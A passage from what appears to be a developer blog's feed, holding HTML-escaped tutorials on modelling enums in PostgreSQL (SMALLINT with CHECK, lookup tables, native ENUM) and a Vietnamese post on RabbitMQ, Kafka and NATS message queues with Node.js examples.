| &lt;code&gt;SMALLINT&lt;/code&gt; + foreign key | Yes | Yes | Easy | Yes | Medium |
| PostgreSQL &lt;code&gt;ENUM&lt;/code&gt; | Yes | No | Moderate | Yes | Low |&lt;/p&gt;
&lt;h2&gt;Which One Should You Choose?&lt;/h2&gt;
&lt;h3&gt;Use &lt;code&gt;SMALLINT&lt;/code&gt; + &lt;code&gt;CHECK&lt;/code&gt; for a small, stable set&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status SMALLINT NOT NULL
    CHECK (status IN (0, 1, 2))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a good default when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The values are stable&lt;/li&gt;
&lt;li&gt;You want compact storage&lt;/li&gt;
&lt;li&gt;You want database validation&lt;/li&gt;
&lt;li&gt;You do not need additional metadata&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Use &lt;code&gt;SMALLINT&lt;/code&gt; + foreign key when you want extensibility&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status SMALLINT NOT NULL
    REFERENCES order_status(id)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Choose this when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Statuses may change&lt;/li&gt;
&lt;li&gt;You need descriptions or metadata&lt;/li&gt;
&lt;li&gt;You want to enable or disable statuses&lt;/li&gt;
&lt;li&gt;You want to avoid a &lt;code&gt;CHECK&lt;/code&gt; constraint&lt;/li&gt;
&lt;li&gt;The values are managed as reference data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is often the most flexible design.&lt;/p&gt;
&lt;h3&gt;Use PostgreSQL &lt;code&gt;ENUM&lt;/code&gt; for a stable domain type&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TYPE order_status AS ENUM (
    &apos;pending&apos;,
    &apos;paid&apos;,
    &apos;cancelled&apos;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a good choice when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The set of values is small&lt;/li&gt;
&lt;li&gt;The values are fundamental to the domain&lt;/li&gt;
&lt;li&gt;You want readable SQL&lt;/li&gt;
&lt;li&gt;You do not expect frequent changes&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Use plain &lt;code&gt;SMALLINT&lt;/code&gt; only when application validation is intentional&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status SMALLINT NOT NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This can be perfectly valid, but it is important to understand the trade-off:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The database will not know what values are valid.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This approach works best when validation is centralized in application code and direct database writes are tightly controlled.&lt;/p&gt;
&lt;h2&gt;A Practical Recommendation&lt;/h2&gt;
&lt;p&gt;For most applications, I would choose one of these two designs:&lt;/p&gt;
&lt;h3&gt;Stable values&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dynamic or metadata-rich values&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key distinction is simple:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use a &lt;code&gt;CHECK&lt;/code&gt; constraint when the valid values are part of the table&apos;s invariant. Use a lookup table when the valid values are data that may evolve. Use a PostgreSQL &lt;code&gt;ENUM&lt;/code&gt; when the values are a stable database-level type.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And if you choose a plain &lt;code&gt;SMALLINT&lt;/code&gt; without any database constraint, do so deliberately—because you are moving responsibility for data integrity from PostgreSQL to the application.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/&quot;&gt;PostgreSQL Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/datatype-enum.html&quot;&gt;PostgreSQL ENUM Type&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/ddl-constraints.html&quot;&gt;PostgreSQL CHECK Constraints&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK&quot;&gt;PostgreSQL Foreign Keys&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Message Queues — RabbitMQ, Kafka Cho Hệ Thống Phân Tán</title><link>https://dopana-blog.pages.dev/blog/message-queues</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/message-queues</guid><description>Xây dựng hệ thống bất đồng bộ với message queue: RabbitMQ, Kafka, NATS — pattern, use case và implementation.</description><pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Message queue là xương sống của hệ thống phân tán. Nó cho phép các service giao tiếp bất đồng bộ, chịu lỗi và scale độc lập.&lt;/p&gt;
&lt;h2&gt;Khi Nào Cần Message Queue?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Decoupling — Service A không cần biết Service B&lt;/li&gt;
&lt;li&gt;Buffering — Chịu được traffic spike (queue làm đệm)&lt;/li&gt;
&lt;li&gt;Retry — Nếu worker fail, message tự động retry&lt;/li&gt;
&lt;li&gt;Fan-out — Một message đến nhiều consumer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;RabbitMQ — Message Broker Cổ Điển&lt;/h2&gt;
&lt;h3&gt;Concepts&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Producer → Exchange → Queue → Consumer
              │
        (routing key, binding)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Exchange — nhận message từ producer, route đến queue&lt;/li&gt;
&lt;li&gt;Queue — lưu message, consumer đọc từ queue&lt;/li&gt;
&lt;li&gt;Binding — kết nối exchange → queue&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Node.js với amqplib&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import amqp from &apos;amqplib&apos;;

// Producer
async function sendMessage(queue: string, message: object) {
  const conn = await amqp.connect(&apos;amqp://localhost&apos;);
  const channel = await conn.createChannel();
  await channel.assertQueue(queue, { durable: true });
  channel.sendToQueue(queue, Buffer.from(JSON.stringify(message)), {
    persistent: true, // Lưu xuống disk
  });
  console.log(`Sent: ${JSON.stringify(message)}`);
}

// Consumer
async function consumeMessages(queue: string) {
  const conn = await amqp.connect(&apos;amqp://localhost&apos;);
  const channel = await conn.createChannel();
  await channel.assertQueue(queue, { durable: true });

  channel.consume(queue, (msg) =&gt; {
    if (msg) {
      const data = JSON.parse(msg.content.toString());
      console.log(`Received: ${data}`);

      // Acknowledge — xác nhận đã xử lý xong
      channel.ack(msg);
    }
  });
}

// Usage
await sendMessage(&apos;order.created&apos;, { orderId: 123, userId: 456 });
await consumeMessages(&apos;order.created&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exchange Types&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Direct — route theo routing key chính xác
await channel.assertExchange(&apos;direct_logs&apos;, &apos;direct&apos;);
await channel.bindQueue(&apos;queue_errors&apos;, &apos;direct_logs&apos;, &apos;error&apos;);

// Topic — route theo pattern
await channel.assertExchange(&apos;topic_logs&apos;, &apos;topic&apos;);
await channel.bindQueue(&apos;queue_all&apos;, &apos;topic_logs&apos;, &apos;*.critical&apos;);
await channel.bindQueue(&apos;queue_errors&apos;, &apos;topic_logs&apos;, &apos;error.#&apos;);

// Fanout — broadcast đến tất cả queue
await channel.assertExchange(&apos;fanout_logs&apos;, &apos;fanout&apos;);
// Tất cả queue bind đều nhận được message
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kafka — Event Streaming Platform&lt;/h2&gt;
&lt;h3&gt;Concepts&lt;/h3&gt;
&lt;p&gt;Producer → Topic (Partition 0, 1, 2...) → Consumer Group&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Topic — category của message&lt;/li&gt;
&lt;li&gt;Partition — chia topic để song song&lt;/li&gt;
&lt;li&gt;Consumer Group — nhiều consumer cùng group chia nhau partition&lt;/li&gt;
&lt;li&gt;Offset — vị trí message trong partition&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Node.js với kafkajs&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Kafka } from &apos;kafkajs&apos;;

const kafka = new Kafka({
  clientId: &apos;my-app&apos;,
  brokers: [&apos;localhost:9092&apos;],
});

// Producer
async function produce() {
  const producer = kafka.producer();
  await producer.connect();

  await producer.send({
    topic: &apos;order-events&apos;,
    messages: [
      { key: &apos;order_123&apos;, value: JSON.stringify({ id: 123, status: &apos;created&apos; }) },
      { key: &apos;order_456&apos;, value: JSON.stringify({ id: 456, status: &apos;paid&apos; }) },
    ],
  });

  await producer.disconnect();
}

// Consumer
async function consume() {
  const consumer = kafka.consumer({ groupId: &apos;order-service&apos; });
  await consumer.connect();
  await consumer.subscribe({ topic: &apos;order-events&apos;, fromBeginning: true });

  await consumer.run({
    eachMessage: async ({ topic, partition, message }) =&gt; {
      console.log({
        partition,
        offset: message.offset,
        value: message.value?.toString(),
      });

      // auto-commit offset (hoặc manual)
    },
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Kafka vs RabbitMQ&lt;/h3&gt;
&lt;p&gt;| | RabbitMQ | Kafka |
|---|---|---|
| Model | Smart broker, dumb consumer | Dumb broker, smart consumer |
| Storage | Xoá sau khi consumed | Giữ message lâu (configurable) |
| Performance | ~10K msg/s | ~1M msg/s |
| Message ordering | Per queue | Per partition |
| Use case | Task distribution | Event streaming, log |
| Replay | ❌ | ✅ (từ offset cũ) |&lt;/p&gt;
&lt;h2&gt;NATS — Lightweight, Đơn Giản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { connect } from &apos;nats&apos;;

const nc = await connect({ servers: &apos;nats://localhost:4222&apos; });

// Publish
nc.publish(&apos;order.created&apos;, JSON.stringify({ id: 123 }));

// Subscribe
const sub = nc.subscribe(&apos;order.created&apos;);
for await (const msg of sub) {
  console.log(msg.data.toString());
}

// Request-Reply
const response = await nc.request(&apos;user.get&apos;, JSON.stringify({ id: 1 }));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;NATS cực kỳ nhẹ — latency micro giây.&lt;/p&gt;
&lt;h2&gt;Pattern Thực Tế&lt;/h2&gt;
&lt;h3&gt;1. Event Sourcing&lt;/h3&gt;
&lt;p&gt;Mọi thay đổi state đều là event:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Order service
await producer.send({
  topic: &apos;order-events&apos;,
  messages: [
    { value: JSON.stringify({ type: &apos;OrderCreated&apos;, data: order }) },
    { value: JSON.stringify({ type: &apos;OrderPaid&apos;, data: payment }) },
    { value: JSON.stringify({ type: &apos;OrderShipped&apos;, data: shipment }) },
  ],
});

// Notification service consume events
// → Gửi email khi OrderCreated
// → Gửi SMS khi OrderShipped
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Competing Consumers&lt;/h3&gt;
&lt;p&gt;Nhiều worker cùng xử lý queue:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Queue: [msg1, msg2, msg3, msg4, msg5]
         ↓      ↓      ↓      ↓      ↓
      Worker1 Worker2 Worker3 Worker1 Worker2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tự động scale — thêm worker = xử lý nhanh hơn.&lt;/p&gt;
&lt;h3&gt;3. Dead Letter Queue (DLQ)&lt;/h3&gt;
&lt;p&gt;Message không xử lý được → chuyển sang DLQ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;channel.consume(queue, (msg) =&gt; {
  try {
    processMessage(msg);
    channel.ack(msg);
  } catch (err) {
    const retries = msg.properties.headers[&apos;x-retry&apos;] || 0;
    if (retries &amp;#x3C; 3) {
      channel.nack(msg, false, true); // Requeue
    } else {
      channel.nack(msg, false, false); // → DLQ
    }
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker Compose&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  rabbitmq:
    image: rabbitmq:4-management
    ports:
      - &quot;5672:5672&quot;  # AMQP
      - &quot;15672:15672&quot; # Management UI

  kafka:
    image: confluentinc/cp-kafka:latest
    ports:
      - &quot;9092:9092&quot;
    environment:
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://localhost:9092

  nats:
    image: nats:latest
    ports:
      - &quot;4222:4222&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;RabbitMQ — task distribution, job queue, cần routing phức tạp&lt;/li&gt;
&lt;li&gt;Kafka — event streaming, log, cần replay message&lt;/li&gt;
&lt;li&gt;NATS — real-time, lightweight, micro giây latency&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chọn theo nhu cầu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Đơn giản, cần retry → RabbitMQ&lt;/li&gt;
&lt;li&gt;High throughput, event sourcing → Kafka&lt;/li&gt;
&lt;li&gt;Siêu nhanh, real-time → NATS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rabbitmq.com/documentation.html&quot;&gt;RabbitMQ Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kafka.apache.org/documentation/&quot;&gt;Apache Kafka Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.nats.io/&quot;&gt;NATS Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kafka.js.org/docs/introduction&quot;&gt;KafkaJS — Node.js Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://amqp-node.github.io/amqplib/&quot;&gt;amqplib — RabbitMQ Node.js Client&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Mô phỏng Enum bằng SMALLINT trong PostgreSQL</title><link>https://dopana-blog.pages.dev/blog/mo-phong-enum-bang-smallint-trong-postgresql</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/mo-phong-enum-bang-smallint-trong-postgresql</guid><description>So sánh các cách mô phỏng enum trong PostgreSQL: SMALLINT với CHECK, khóa ngoại, ENUM gốc — ưu nhược điểm và khuyến nghị.</description><pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Khi mô hình hóa một tập nhỏ các giá trị định sẵn trong PostgreSQL, bạn có vài lựa chọn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kiểu &lt;code&gt;ENUM&lt;/code&gt; gốc của PostgreSQL&lt;/li&gt;
&lt;li&gt;Cột &lt;code&gt;SMALLINT&lt;/code&gt; với ràng buộc &lt;code&gt;CHECK&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Cột &lt;code&gt;SMALLINT&lt;/code&gt; với khóa ngoại tham chiếu bảng tra cứu&lt;/li&gt;
&lt;li&gt;Cột &lt;code&gt;SMALLINT&lt;/code&gt; thuần chỉ được kiểm tra bởi ứng dụng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mỗi cách có đánh đổi khác nhau về type safety, linh hoạt, hiệu năng và bảo trì.&lt;/p&gt;
&lt;p&gt;Bài viết này so sánh chúng và giải thích khi nào nên dùng cách nào.&lt;/p&gt;
&lt;h2&gt;Vấn đề&lt;/h2&gt;
&lt;p&gt;Giả sử đơn hàng có một trong ba trạng thái:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0 = Đang chờ
1 = Đã thanh toán
2 = Đã hủy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ta muốn lưu trạng thái hiệu quả đồng thời ngăn các giá trị không hợp lệ như:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;99
-1
1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Câu hỏi là: nên mô hình hóa điều này trong PostgreSQL như thế nào?&lt;/p&gt;
&lt;h2&gt;Cách 1: &lt;code&gt;SMALLINT&lt;/code&gt; với ràng buộc &lt;code&gt;CHECK&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Cách đơn giản nhất là lưu giá trị enum dưới dạng &lt;code&gt;SMALLINT&lt;/code&gt; và giới hạn giá trị cho phép bằng ràng buộc &lt;code&gt;CHECK&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ứng dụng định nghĩa ý nghĩa:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0 = Đang chờ
1 = Đã thanh toán
2 = Đã hủy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Giá trị không hợp lệ bị PostgreSQL từ chối:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (99);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;ERROR: new row violates check constraint
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ưu điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Đơn giản&lt;/li&gt;
&lt;li&gt;Hiệu quả&lt;/li&gt;
&lt;li&gt;Được cơ sở dữ liệu đảm bảo hoàn toàn&lt;/li&gt;
&lt;li&gt;Không cần bảng phụ&lt;/li&gt;
&lt;li&gt;Dễ truy vấn&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM orders
WHERE status = 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nhược điểm&lt;/h3&gt;
&lt;p&gt;Ý nghĩa của giá trị không hiện ra từ chính cột:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;1&lt;/code&gt; có nghĩa là gì?&lt;/p&gt;
&lt;p&gt;Mã ứng dụng hoặc tài liệu phải định nghĩa điều đó.&lt;/p&gt;
&lt;p&gt;Một vấn đề khác là thay đổi giá trị cho phép yêu cầu sửa ràng buộc bảng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;ALTER TABLE orders
DROP CONSTRAINT orders_status_check;

ALTER TABLE orders
ADD CONSTRAINT orders_status_check
CHECK (status IN (0, 1, 2, 3));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tuy nhiên, với một tập giá trị nhỏ và ổn định, đây thường là giải pháp tuyệt vời.&lt;/p&gt;
&lt;h2&gt;Cách 2: &lt;code&gt;SMALLINT&lt;/code&gt; không có ràng buộc &lt;code&gt;CHECK&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Bạn cũng có thể định nghĩa đơn giản:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ứng dụng định nghĩa các giá trị:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0 = Đang chờ
1 = Đã thanh toán
2 = Đã hủy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đây là schema cơ sở dữ liệu đơn giản nhất.&lt;/p&gt;
&lt;h3&gt;Ưu điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Schema tối thiểu&lt;/li&gt;
&lt;li&gt;Không cần bảo trì ràng buộc&lt;/li&gt;
&lt;li&gt;Rất linh hoạt&lt;/li&gt;
&lt;li&gt;Kích thước lưu trữ rất nhỏ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Nhược điểm&lt;/h3&gt;
&lt;p&gt;Cơ sở dữ liệu chấp nhận mọi giá trị &lt;code&gt;SMALLINT&lt;/code&gt; hợp lệ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (32767);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Câu lệnh này thành công.&lt;/p&gt;
&lt;p&gt;Cơ sở dữ liệu không biết liệu &lt;code&gt;32767&lt;/code&gt; có phải là trạng thái kinh doanh hợp lệ hay không.&lt;/p&gt;
&lt;p&gt;Do đó, cách này hoàn toàn dựa vào kiểm tra ở tầng ứng dụng.&lt;/p&gt;
&lt;p&gt;Điều đó có thể chấp nhận được khi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chỉ có một ứng dụng ghi vào cơ sở dữ liệu&lt;/li&gt;
&lt;li&gt;Cơ sở dữ liệu được xem như chi tiết triển khai nội bộ&lt;/li&gt;
&lt;li&gt;Việc kiểm tra được tập trung hóa&lt;/li&gt;
&lt;li&gt;Bạn cố tình muốn schema cơ sở dữ liệu duy trì tính dễ dãi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tuy nhiên, nó có thể trở nên nguy hiểm khi nhiều dịch vụ, script hoặc quản trị viên ghi trực tiếp vào cơ sở dữ liệu.&lt;/p&gt;
&lt;h2&gt;Cách 3: &lt;code&gt;SMALLINT&lt;/code&gt; với khóa ngoại&lt;/h2&gt;
&lt;p&gt;Một lựa chọn mạnh mẽ là dùng bảng tra cứu.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thêm các trạng thái hợp lệ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO order_status (id, name)
VALUES
    (0, &apos;pending&apos;),
    (1, &apos;paid&apos;),
    (2, &apos;cancelled&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó tham chiếu bảng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PostgreSQL ngăn các giá trị không hợp lệ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (99);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Câu lệnh thất bại vì &lt;code&gt;99&lt;/code&gt; không tồn tại trong &lt;code&gt;order_status&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Ưu điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Không cần ràng buộc &lt;code&gt;CHECK&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kiểm tra ở cấp cơ sở dữ liệu&lt;/li&gt;
&lt;li&gt;Ý nghĩa từng giá trị được lưu trong cơ sở dữ liệu&lt;/li&gt;
&lt;li&gt;Dễ thêm siêu dữ liệu&lt;/li&gt;
&lt;li&gt;Dễ mở rộng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ví dụ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE,
    description TEXT,
    is_active BOOLEAN NOT NULL DEFAULT TRUE,
    sort_order SMALLINT NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bảng trạng thái giờ có thể chứa siêu dữ liệu nghiệp vụ.&lt;/p&gt;
&lt;h3&gt;Nhược điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Cần thêm một bảng phụ&lt;/li&gt;
&lt;li&gt;Cần một khóa ngoại&lt;/li&gt;
&lt;li&gt;Schema phức tạp hơn một chút&lt;/li&gt;
&lt;li&gt;Cần quản lý dữ liệu tham chiếu&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đây thường là lựa chọn tốt nhất khi bạn muốn biểu diễn &lt;code&gt;SMALLINT&lt;/code&gt; nhưng vẫn muốn kiểm tra mạnh ở cấp cơ sở dữ liệu mà không dùng ràng buộc &lt;code&gt;CHECK&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Cách 4: &lt;code&gt;ENUM&lt;/code&gt; gốc của PostgreSQL&lt;/h2&gt;
&lt;p&gt;PostgreSQL cũng cung cấp kiểu enum gốc:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TYPE order_status AS ENUM (
    &apos;pending&apos;,
    &apos;paid&apos;,
    &apos;cancelled&apos;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status order_status NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cơ sở dữ liệu hiểu trực tiếp các giá trị hợp lệ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (&apos;paid&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Giá trị không hợp lệ bị từ chối:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (&apos;unknown&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ưu điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Type safety mạnh&lt;/li&gt;
&lt;li&gt;Rất dễ đọc&lt;/li&gt;
&lt;li&gt;Kiểm tra bởi cơ sở dữ liệu&lt;/li&gt;
&lt;li&gt;Không cần ánh xạ số&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Câu này dễ hiểu:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status = &apos;paid&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;so với:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nhược điểm&lt;/h3&gt;
&lt;p&gt;Enum của PostgreSQL kém linh hoạt hơn khi tập giá trị thay đổi.&lt;/p&gt;
&lt;p&gt;Thêm giá trị thì được:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;ALTER TYPE order_status
ADD VALUE &apos;refunded&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nhưng xóa hoặc đổi tên giá trị enum thường phức tạp hơn so với sửa dòng trong bảng tra cứu.&lt;/p&gt;
&lt;p&gt;Điều này khiến enum gốc phù hợp cho các giá trị thực sự là một phần của mô hình miền ổn định của cơ sở dữ liệu.&lt;/p&gt;
&lt;h2&gt;So sánh&lt;/h2&gt;
&lt;p&gt;| Cách tiếp cận | Kiểm tra DB | Dùng &lt;code&gt;SMALLINT&lt;/code&gt; | Dễ thay đổi | Lưu ý nghĩa trong DB | Độ phức tạp |
|---|---|---|---|---|---|
| &lt;code&gt;SMALLINT&lt;/code&gt; thuần | Không | Có | Rất dễ | Không | Thấp |
| &lt;code&gt;SMALLINT&lt;/code&gt; + &lt;code&gt;CHECK&lt;/code&gt; | Có | Có | Trung bình | Một phần | Thấp |
| &lt;code&gt;SMALLINT&lt;/code&gt; + khóa ngoại | Có | Có | Dễ | Có | Trung bình |
| PostgreSQL &lt;code&gt;ENUM&lt;/code&gt; | Có | Không | Trung bình | Có | Thấp |&lt;/p&gt;
&lt;h2&gt;Nên chọn cách nào?&lt;/h2&gt;
&lt;h3&gt;Dùng &lt;code&gt;SMALLINT&lt;/code&gt; + &lt;code&gt;CHECK&lt;/code&gt; cho tập nhỏ, ổn định&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status SMALLINT NOT NULL
    CHECK (status IN (0, 1, 2))
&lt;/code&gt;&lt;/pre&gt;
